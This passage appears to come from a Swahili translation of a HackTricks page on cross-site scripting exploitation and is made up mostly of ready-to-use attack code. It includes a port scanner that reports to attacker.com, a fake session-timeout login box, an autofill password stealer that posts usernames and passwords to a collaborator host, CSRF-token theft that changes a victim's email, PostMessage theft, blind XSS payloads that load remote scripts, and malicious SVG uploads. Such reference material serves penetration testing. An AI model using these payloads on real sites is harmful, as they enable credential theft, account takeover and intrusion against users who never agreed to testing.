}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Scanner ya Port (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Skana wa Bandari (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Siku fupi zinaonyesha bandari inayojibu Siku ndefu zinaonyesha hakuna majibu.

Kagua orodha ya bandari zilizokatazwa katika Chrome hapa na katika Firefox hapa.

Sanduku la kuomba ithibitisho

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Kukamata nywila za kujaza kiotomatiki

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na haandika chochote, taarifa za kuingia zitavuja.

Keylogger

Nilipokuwa nikitafuta katika github, nilipata tofauti kadhaa:

• https://github.com/JohnHoder/Javascript-Keylogger

• https://github.com/rajeshmajumdar/keylogger

• https://github.com/hakanonymos/JavascriptKeylogger

• Unaweza pia kutumia metasploit http_javascript_keylogger

Kuiba token za CSRF

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=[e-mail]')
};
</script>

Kuiba ujumbe wa PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Abusing Service Workers

Abusing Service Workers

Accessing Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/xss_polyglots.txt at main · carlospolop/Auto_WordlistsGitHub

Blind XSS payloads

Unaweza pia kutumia: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Upataji wa Maudhui ya Siri

Kutoka hii ripoti inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Orodha ya Brute-Force

Auto_Wordlists/xss.txt at main · carlospolop/Auto_WordlistsGitHub

XSS Kutumia udhaifu mwingine

XSS katika Markdown

Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS! Angalia:

XSS in Markdown

XSS kwa SSRF

Una XSS kwenye tovuti inayotumia caching? Jaribu kuiboresha hiyo kuwa SSRF kupitia Edge Side Include Injection na payload hii:

<esi:include src="http://yoursite.com/capture" />

Tumia ili kupita vizuizi vya kuki, XSS filters na mengi zaidi! Taarifa zaidi kuhusu mbinu hii hapa: XSLT.

XSS katika PDF iliyoundwa kwa njia ya dinamik

Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu kudanganya bot inayounda PDF ili kutekeleza msimbo wa JS usio na mipaka. Hivyo, ikiwa bot ya kuunda PDF inapata aina fulani ya HTML tags, itakuwa inafasiri hizo, na unaweza kuitumia tabia hii kusababisha Server XSS.

Server Side XSS (Dynamic PDF)

Ikiwa huwezi kuingiza HTML tags inaweza kuwa na thamani kujaribu kuingiza data za PDF:

PDF Injection

XSS katika Amp4Email

AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha utendaji kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia AMP components.

Muundo wa AMP for Email unapanua vipengele maalum vya AMP kwa barua pepe, na kuwapa wapokeaji uwezo wa kuingiliana na maudhui moja kwa moja ndani ya barua zao pepe.

Mfano writeup XSS katika Amp4Email katika Gmail.

XSS kupakia faili (svg)

Pakia kama picha faili kama ifuatavyo (kutoka http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>

<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>

<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>

<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Find more SVG payloads in https://github.com/allanlw/svg-cheatsheet

Misc JS Tricks & Relevant Info

Misc JS Tricks & Relevant Info

XSS resources

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection

• http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list

• https://github.com/ismailtasdelen/xss-payload-list

• https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec

• https://netsec.expert/2020/02/01/xss-in-2020.html

If you are interested in hacking career and hack the unhackable - we are hiring! (kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika).

Careers | stmcyber.com | penetration testingstmcyber.com

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.